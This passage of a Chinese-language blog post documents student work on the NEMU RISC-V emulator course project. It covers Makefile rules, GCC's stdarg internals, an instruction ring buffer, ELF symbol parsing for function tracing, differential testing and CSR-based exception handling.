--end-group</span><br><span class="line"><span class="keyword">endif</span></span><br><span class="line"></span><br><span class="line"><span class="comment">### Rule (archive): objects (`*.o`) -> `ARCHIVE.a` (ar)</span></span><br><span class="line"><span class="variable">$(ARCHIVE)</span>: <span class="variable">$(OBJS)</span></span><br><span class="line"> @echo + AR <span class="string">"->"</span> <span class="variable">$(<span class="built_in">shell</span> <span class="built_in">realpath</span> <span class="variable">$@</span> --relative-to .)</span></span><br><span class="line"> @<span class="variable">$(AR)</span> rcs <span class="variable">$@</span> <span class="variable">$^</span></span><br><span class="line"></span><br><span class="line"><span class="comment">### Rule (`#include` dependencies): paste in `.d` files generated by gcc on `-MMD`</span></span><br><span class="line"><span class="keyword">-include</span> <span class="variable">$(<span class="built_in">addprefix</span> <span class="variable">$(DST_DIR)</span>/, $(<span class="built_in">addsuffix</span> .d, $(<span class="built_in">basename</span> <span class="variable">$(SRCS)</span>)</span>))</span><br></pre></td></tr></tbody></table></figure><p>Build the project in order below</p><figure class="highlight makefile"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="section">image: image-dep</span></span><br><span class="line"><span class="section">archive: <span class="variable">$(ARCHIVE)</span></span></span><br><span class="line"><span class="section">image-dep: <span class="variable">$(LIBS)</span> <span class="variable">$(IMAGE)</span>.elf</span></span><br><span class="line"><span class="section">.NOTPARALLEL: image-dep</span></span><br><span class="line"><span class="meta"><span class="keyword">.PHONY</span>: image image-dep archive run $(LIBS)</span></span><br></pre></td></tr></tbody></table></figure><figure class="highlight shell"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_"># </span><span class="language-bash">Building add-run [riscv64-nemu]</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">Building am-archive [riscv64-nemu]</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">Building klib-archive [riscv64-nemu]</span></span><br><span class="line">+ CC tests/add.c</span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">Creating image [riscv64-nemu]</span></span><br><span class="line">+ LD -> build/add-riscv64-nemu.elf</span><br><span class="line">+ OBJCOPY -> build/add-riscv64-nemu.bin</span><br></pre></td></tr></tbody></table></figure><h3 id="实现常用的库函数">实现常用的库函数</h3><h4 id="stdarg是如何实现的">stdarg 是如何实现的?</h4><p>在</p><p>参考 <code>GNU/gcc-15.2.0</code> 中 <code>i386</code> 的实现:</p><p>计算固定参数的大小</p><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//gcc-15.2.0/gcc/config/i386/i386.cc</span></span><br><span class="line"></span><br><span class="line"> <span class="comment">/* Count number of gp and fp argument registers used. */</span></span><br><span class="line"> words = crtl->args.info.words;</span><br><span class="line"> n_gpr = crtl->args.info.regno;</span><br><span class="line"> n_fpr = crtl->args.info.sse_regno;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (cfun->va_list_gpr_size)</span><br><span class="line"> {</span><br><span class="line"> type = TREE_TYPE (gpr);</span><br><span class="line"> t = build2 (MODIFY_EXPR, type,</span><br><span class="line"> gpr, build_int_cst (type, n_gpr * <span class="number">8</span>));</span><br><span class="line"> TREE_SIDE_EFFECTS (t) = <span class="number">1</span>;</span><br><span class="line"> expand_expr (t, const0_rtx, VOIDmode, EXPAND_NORMAL);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (TARGET_SSE && cfun->va_list_fpr_size)</span><br><span class="line"> {</span><br><span class="line"> type = TREE_TYPE (fpr);</span><br><span class="line"> t = build2 (MODIFY_EXPR, type, fpr,</span><br><span class="line"> build_int_cst (type, n_fpr * <span class="number">16</span> + <span class="number">8</span>*X86_64_REGPARM_MAX));</span><br><span class="line"> TREE_SIDE_EFFECTS (t) = <span class="number">1</span>;</span><br><span class="line"> expand_expr (t, const0_rtx, VOIDmode, EXPAND_NORMAL);</span><br><span class="line"> }</span><br></pre></td></tr></tbody></table></figure><p>处理栈上的 overflow area, register save area.</p><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"> <span class="comment">/* Find the overflow area. */</span></span><br><span class="line"> type = TREE_TYPE (ovf);</span><br><span class="line"> <span class="keyword">if</span> (cfun->machine->split_stack_varargs_pointer == NULL_RTX)</span><br><span class="line"> ovf_rtx = crtl->args.internal_arg_pointer;</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> ovf_rtx = cfun->machine->split_stack_varargs_pointer;</span><br><span class="line"> t = make_tree (type, ovf_rtx);</span><br><span class="line"> <span class="keyword">if</span> (words != <span class="number">0</span>)</span><br><span class="line"> t = fold_build_pointer_plus_hwi (t, words * UNITS_PER_WORD);</span><br><span class="line"></span><br><span class="line"> t = build2 (MODIFY_EXPR, type, ovf, t);</span><br><span class="line"> TREE_SIDE_EFFECTS (t) = <span class="number">1</span>;</span><br><span class="line"> expand_expr (t, const0_rtx, VOIDmode, EXPAND_NORMAL);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (ix86_varargs_gpr_size || ix86_varargs_fpr_size)</span><br><span class="line"> {</span><br><span class="line"> <span class="comment">/* Find the register save area.</span></span><br><span class="line"><span class="comment"> Prologue of the function save it right above stack frame. */</span></span><br><span class="line"> type = TREE_TYPE (sav);</span><br><span class="line"> t = make_tree (type, frame_pointer_rtx);</span><br><span class="line"> <span class="keyword">if</span> (!ix86_varargs_gpr_size)</span><br><span class="line">t = fold_build_pointer_plus_hwi (t, <span class="number">-8</span> * X86_64_REGPARM_MAX);</span><br><span class="line"></span><br><span class="line"> t = build2 (MODIFY_EXPR, type, sav, t);</span><br><span class="line"> TREE_SIDE_EFFECTS (t) = <span class="number">1</span>;</span><br><span class="line"> expand_expr (t, const0_rtx, VOIDmode, EXPAND_NORMAL);</span><br><span class="line"> }</span><br></pre></td></tr></tbody></table></figure><h3 id="基础设施2">基础设施 (2)</h3><h4 id="指令环形缓冲区---iringbuf">指令环形缓冲区 - iringbuf</h4><p>实现一个环形缓冲区,每次执行指令时写入即可</p><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span></span></span><br><span class="line"><span class="class">{</span></span><br><span class="line"> <span class="type">char</span> buf[<span class="number">10</span>][<span class="number">128</span>];</span><br><span class="line"> <span class="type">int</span> head;</span><br><span class="line"> <span class="type">int</span> tail;</span><br><span class="line">} LogRingbuf;</span><br><span class="line"></span><br><span class="line">IFDEF(CONFIG_ITRACE, LogRingbuf ringbuf);</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">ringbuf_push</span><span class="params">(LogRingbuf *r, <span class="type">const</span> <span class="type">char</span>* <span class="built_in">log</span>)</span> {</span><br><span class="line"> <span class="built_in">strcpy</span>(r->buf[r->head], <span class="built_in">log</span>);</span><br><span class="line"> r->head = (r->head+<span class="number">1</span>) % <span class="number">10</span>;</span><br><span class="line"> <span class="keyword">if</span>(r->head == r->tail) r->tail = (r->tail+<span class="number">1</span>) % <span class="number">10</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">ringbuf_puts</span><span class="params">(LogRingbuf *r)</span> {</span><br><span class="line"> <span class="keyword">for</span>(<span class="type">int</span> i = r->tail; i!=r->head; i = (i+<span class="number">1</span>)%<span class="number">10</span>) {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"%s\n"</span>, r->buf[i]);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><h4 id="函数调用的踪迹---ftrace">函数调用的踪迹 - ftrace</h4><p>偷懒了,并没有完全实现(</p><p>先读取传入的 ELF:</p><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><common.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><elf.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><stdlib.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><string.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">init_ftrace</span><span class="params">(<span class="type">const</span> <span class="type">char</span>* elf)</span> {</span><br><span class="line"> Elf64_Ehdr elf_header;</span><br><span class="line"> FILE *fp = fopen(elf, <span class="string">"rb"</span>);</span><br><span class="line"> <span class="keyword">if</span> (fp == <span class="literal">NULL</span>) {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Failed to open file %s\n"</span>, elf);</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="type">size_t</span> count = fread(&elf_header, <span class="number">1</span>, <span class="keyword">sizeof</span>(Elf64_Ehdr), fp);</span><br><span class="line"> assert(count == <span class="keyword">sizeof</span>(Elf64_Ehdr));</span><br><span class="line"></span><br><span class="line"> parse_symbols(fp, &elf_header);</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>根据 ELF 的结构,我们先读取 <code>Elf64_Ehdr</code>:</p><figure><img src="/PA1/68747470733a2f2f692e696d6775722e636f6d2f4169394f714f422e706e67.png" alt="ELF"><figcaption aria-hidden="true">ELF</figcaption></figure><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">ELF header (Ehdr)</span><br><span class="line"> The ELF header is described by the type Elf32_Ehdr or Elf64_Ehdr:</span><br><span class="line"></span><br><span class="line"> #define EI_NIDENT 16</span><br><span class="line"></span><br><span class="line"> typedef struct {</span><br><span class="line"> unsigned char e_ident[EI_NIDENT];</span><br><span class="line"> uint16_t e_type;</span><br><span class="line"> uint16_t e_machine;</span><br><span class="line"> uint32_t e_version;</span><br><span class="line"> ElfN_Addr e_entry;</span><br><span class="line"> ElfN_Off e_phoff;</span><br><span class="line"> ElfN_Off e_shoff;</span><br><span class="line"> uint32_t e_flags;</span><br><span class="line"> uint16_t e_ehsize;</span><br><span class="line"> uint16_t e_phentsize;</span><br><span class="line"> uint16_t e_phnum;</span><br><span class="line"> uint16_t e_shentsize;</span><br><span class="line"> uint16_t e_shnum;</span><br><span class="line"> uint16_t e_shstrndx;</span><br><span class="line"> } ElfN_Ehdr;</span><br></pre></td></tr></tbody></table></figure><p>解析具体的符号表,并维护一个单向链表:</p><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">parse_symbols</span><span class="params">(FILE *fp, Elf64_Ehdr *elf_header)</span> {</span><br><span class="line"> Elf64_Shdr *sh_table = <span class="built_in">malloc</span>(elf_header->e_shnum * <span class="keyword">sizeof</span>(Elf64_Shdr));</span><br><span class="line"> fseek(fp, elf_header->e_shoff, SEEK_SET);</span><br><span class="line"> <span class="type">size_t</span> ret = fread(sh_table, <span class="keyword">sizeof</span>(Elf64_Shdr), elf_header->e_shnum, fp);</span><br><span class="line"> assert(ret == elf_header->e_shnum);</span><br><span class="line"></span><br><span class="line"> Elf64_Shdr *symtab_shdr = <span class="literal">NULL</span>;</span><br><span class="line"> Elf64_Shdr *strtab_shdr = <span class="literal">NULL</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i < elf_header->e_shnum; i++) {</span><br><span class="line"> <span class="keyword">if</span> (sh_table[i].sh_type == SHT_SYMTAB) {</span><br><span class="line"> symtab_shdr = &sh_table[i];</span><br><span class="line"> <span class="keyword">if</span> (symtab_shdr->sh_link < elf_header->e_shnum) {</span><br><span class="line"> strtab_shdr = &sh_table[symtab_shdr->sh_link];</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (!symtab_shdr || !strtab_shdr) {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Symbol table or string table not found.\n"</span>);</span><br><span class="line"> <span class="built_in">free</span>(sh_table);</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> Elf64_Sym *sym_table = <span class="built_in">malloc</span>(symtab_shdr->sh_size);</span><br><span class="line"> fseek(fp, symtab_shdr->sh_offset, SEEK_SET);</span><br><span class="line"> ret = fread(sym_table, symtab_shdr->sh_size, <span class="number">1</span>, fp);</span><br><span class="line"> assert(ret == <span class="number">1</span>);</span><br><span class="line"></span><br><span class="line"> <span class="type">char</span> *strtab = <span class="built_in">malloc</span>(strtab_shdr->sh_size);</span><br><span class="line"> fseek(fp, strtab_shdr->sh_offset, SEEK_SET);</span><br><span class="line"> ret = fread(strtab, strtab_shdr->sh_size, <span class="number">1</span>, fp);</span><br><span class="line"> assert(ret == <span class="number">1</span>);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="type">int</span> num_symbols = symtab_shdr->sh_size / <span class="keyword">sizeof</span>(Elf64_Sym);</span><br><span class="line"> <span class="comment">//printf("Parsing %d symbols...\n", num_symbols);</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i < num_symbols; i++) {</span><br><span class="line"> <span class="type">const</span> <span class="type">char</span> *symbol_name = &strtab[sym_table[i].st_name];</span><br><span class="line"> Elf64_Addr symbol_addr = sym_table[i].st_value;</span><br><span class="line"> <span class="type">unsigned</span> <span class="type">char</span> symbol_type = ELF64_ST_TYPE(sym_table[i].st_info);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (symbol_type == STT_FUNC) {</span><br><span class="line"><span class="comment">// printf("Found function: %s at address 0x%lx\n", symbol_name, symbol_addr);</span></span><br><span class="line"> ftrace_append(symbol_name, symbol_addr);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="built_in">free</span>(sh_table);</span><br><span class="line"> <span class="built_in">free</span>(sym_table);</span><br><span class="line"> <span class="built_in">free</span>(strtab);</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>Section header 中存放了各个 section 的信息</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line">Section header (Shdr)</span><br><span class="line"> A file's section header table lets one locate all the file's sections. The section header table is an array of Elf32_Shdr or Elf64_Shdr structures. The ELF</span><br><span class="line"> header's e_shoff member gives the byte offset from the beginning of the file to the section header table. e_shnum holds the number of entries the section</span><br><span class="line"> header table contains. e_shentsize holds the size in bytes of each entry.</span><br><span class="line"></span><br><span class="line"> A section header table index is a subscript into this array. Some section header table indices are reserved: the initial entry and the indices between</span><br><span class="line"> SHN_LORESERVE and SHN_HIRESERVE. The initial entry is used in ELF extensions for e_phnum, e_shnum, and e_shstrndx; in other cases, each field in the initial</span><br><span class="line"> entry is set to zero. An object file does not have sections for these special indices:</span><br><span class="line"></span><br><span class="line"> SHN_UNDEF</span><br><span class="line"> This value marks an undefined, missing, irrelevant, or otherwise meaningless section reference.</span><br><span class="line"></span><br><span class="line"> SHN_LORESERVE</span><br><span class="line"> This value specifies the lower bound of the range of reserved indices.</span><br><span class="line"></span><br><span class="line"> SHN_LOPROC</span><br><span class="line"> SHN_HIPROC</span><br><span class="line"> Values greater in the inclusive range [SHN_LOPROC, SHN_HIPROC] are reserved for processor-specific semantics.</span><br><span class="line"></span><br><span class="line"> SHN_ABS</span><br><span class="line"> This value specifies the absolute value for the corresponding reference. For example, a symbol defined relative to section number SHN_ABS has an ab‐</span><br><span class="line"> solute value and is not affected by relocation.</span><br><span class="line"></span><br><span class="line"> SHN_COMMON</span><br><span class="line"> Symbols defined relative to this section are common symbols, such as FORTRAN COMMON or unallocated C external variables.</span><br><span class="line"></span><br><span class="line"> SHN_HIRESERVE</span><br><span class="line"> This value specifies the upper bound of the range of reserved indices. The system reserves indices between SHN_LORESERVE and SHN_HIRESERVE, inclu‐</span><br><span class="line"> sive. The section header table does not contain entries for the reserved indices.</span><br><span class="line"></span><br></pre></td></tr></tbody></table></figure><p><code>Elf64_Sym</code> 的定义如下:</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"> String and symbol tables</span><br><span class="line"> String table sections hold null-terminated character sequences, commonly called strings. The ob‐</span><br><span class="line"> ject file uses these strings to represent symbol and section names. One references a string as</span><br><span class="line"> an index into the string table section. The first byte, which is index zero, is defined to hold</span><br><span class="line"> a null byte ('\0'). Similarly, a string table's last byte is defined to hold a null byte, ensur‐</span><br><span class="line"> ing null termination for all strings.</span><br><span class="line"></span><br><span class="line"> An object file's symbol table holds information needed to locate and relocate a program's sym‐</span><br><span class="line"> bolic definitions and references. A symbol table index is a subscript into this array.</span><br><span class="line"></span><br><span class="line">typedef struct {</span><br><span class="line"> uint32_t st_name;</span><br><span class="line"> //This member holds an index into the object file's symbol string table, which holds character representations of the symbol names. If the value is nonzero, it represents a string table index that gives the symbol name. Otherwise, the symbol has no name.</span><br><span class="line"> unsigned char st_info;</span><br><span class="line"> unsigned char st_other;</span><br><span class="line"> uint16_t st_shndx;</span><br><span class="line"> Elf64_Addr st_value;</span><br><span class="line"> uint64_t st_size;</span><br><span class="line"> } Elf64_Sym;</span><br><span class="line"></span><br></pre></td></tr></tbody></table></figure><p>后面遇到 <code>jal</code> 等跳转指令查找这个链表,计算偏移就可以了。</p><h4 id="differential-testing">Differential Testing</h4><p>框架已经实现好了相应的接口,实现一下比较寄存器的值</p><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">bool</span> <span class="title function_">isa_difftest_checkregs</span><span class="params">(CPU_state *ref_r, <span class="type">vaddr_t</span> pc)</span> {</span><br><span class="line"> <span class="type">bool</span> ok = <span class="literal">true</span>;</span><br><span class="line"><span class="keyword">for</span>(<span class="type">int</span> i=<span class="number">0</span>;i<<span class="number">32</span>;i++) {</span><br><span class="line"> <span class="keyword">if</span>(ref_r->gpr[i] != cpu.gpr[i]) {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"\n [difftest] inequal reg value in %s: 0x%lx\n"</span>, regs[i], ref_r->gpr[i]);</span><br><span class="line"> ok = <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"> <span class="keyword">if</span>(ref_r->pc != cpu.pc) {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"\n [difftest] inequal pc: 0x%lx\n"</span>,ref_r->pc);</span><br><span class="line"> ok = <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> ok;</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><h3 id="输入输出">输入输出</h3><p>实现需要的 IOE 功能都比较简单,这里在跑 <code>microbench</code> 的时候遇到了一个比较怪的问题。</p><p>difftest 提示 <code>$PC</code> 不一样,后面发现是指令实现时对符号的处理出现了问题, 这是很值得注意的.</p><h1 id="pa3---穿越时空的旅程-批处理系统">PA3 - 穿越时空的旅程:批处理系统</h1><h2 id="穿越时空的旅程">穿越时空的旅程</h2><p>为了实现异常机制, 我们向状态机引入了如下的新状态:</p><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> {</span></span><br><span class="line"> <span class="type">word_t</span> gpr[MUXDEF(CONFIG_RVE, <span class="number">16</span>, <span class="number">32</span>)];</span><br><span class="line"> <span class="type">vaddr_t</span> pc;</span><br><span class="line"> <span class="type">word_t</span> mepc;</span><br><span class="line"> <span class="type">word_t</span> mcause;</span><br><span class="line"> <span class="type">word_t</span> priv;</span><br><span class="line"> <span class="type">word_t</span> mtvec;</span><br><span class="line"> <span class="class"><span class="keyword">union</span> {</span></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> {</span></span><br><span class="line"> <span class="type">uint32_t</span> UIE : <span class="number">1</span>, SIE : <span class="number">1</span>, WPRI_0 : <span class="number">1</span>, MIE : <span class="number">1</span>;</span><br><span class="line"> <span class="type">uint32_t</span> UPIE : <span class="number">1</span>, SPIE : <span class="number">1</span>, WPRI : <span class="number">1</span>, MPIE : <span class="number">1</span>;</span><br><span class="line"> <span class="type">uint32_t</span> SPP : <span class="number">1</span>, WPRI_1_2 : <span class="number">2</span>, MPP : <span class="number">2</span>, FS : <span class="number">2</span>;</span><br><span class="line"> <span class="type">uint32_t</span> XS : <span class="number">2</span>, MPRV : <span class="number">1</span>, SUM : <span class="number">1</span>, MXR : <span class="number">1</span>;</span><br><span class="line"> <span class="type">uint32_t</span> TVM : <span class="number">1</span>, TW : <span class="number">1</span>, TSR : <span class="number">1</span>, WPRI_3_10 : <span class="number">8</span>, SD : <span class="number">1</span>;</span><br><span class="line"> } part;</span><br><span class="line"> <span class="type">word_t</span> val;</span><br><span class="line"> } mstatus;</span><br><span class="line">} MUXDEF(CONFIG_RV64, riscv64_CPU_state, riscv32_CPU_state);</span><br></pre></td></tr></tbody></table></figure><h3 id="实现异常响应机制">实现异常响应机制</h3><p>实现异常响应操作:</p><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">word_t</span> <span class="title function_">isa_raise_intr</span><span class="params">(<span class="type">word_t</span> NO, <span class="type">vaddr_t</span> epc)</span> {</span><br><span class="line"> cpu.mepc = epc;</span><br><span class="line"> cpu.mcause = NO;</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">return</span> cpu.mtvec;</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>目前所需的异常处理涉及以下的四条指令:<code>csrrw</code>,<code>csrrs</code>, <code>ecall</code>, <code>mret</code></p><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">INSTPAT(<span class="string">"??????? ????? ????? 001 ????? 11100 11"</span>, csrrw , I, R(rd) = CSR(imm); CSR(imm) = src1);</span><br><span class="line">INSTPAT(<span class="string">"??????? ????? ????? 010 ????? 11100 11"</span>, csrrs , I, R(rd) = CSR(imm); CSR(imm) |= src1);</span><br><span class="line">INSTPAT(<span class="string">"0000000 00000 00000 000 00000 11100 11"</span>, ecall , I, s->dnpc = isa_raise_intr(<span class="number">11</span>, s->pc));</span><br><span class="line">INSTPAT(<span class="string">"0011000 00010 00000 000 00000 11100 11"</span>, mret , I, s->dnpc = cpu.mepc);</span><br></pre></td></tr></tbody></table></figure><p>CSR 寄存器与序号的对应关系可以在 <em>The RISC-V Instruction Set Manual:Volume II</em> 找到.</p><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">define</span> CSR(i) *csr_register(i)</span></span><br><span class="line"><span class="type">static</span> <span class="type">vaddr_t</span> *<span class="title function_">csr_register</span><span class="params">(<span class="type">word_t</span> imm)</span> {</span><br><span class="line"> <span class="keyword">switch</span> (imm) {</span><br><span class="line"> <span class="keyword">case</span> <span class="number">0x341</span>:</span><br><span class="line"> <span class="keyword">return</span> &(cpu.mepc);</span><br><span class="line"> <span class="keyword">case</span> <span class="number">0x342</span>:</span><br><span class="line"> <span class="keyword">return</span> &(cpu.mcause);</span><br><span class="line"> <span class="keyword">case</span> <span class="number">0x300</span>:</span><br><span class="line"> <span class="keyword">return</span> 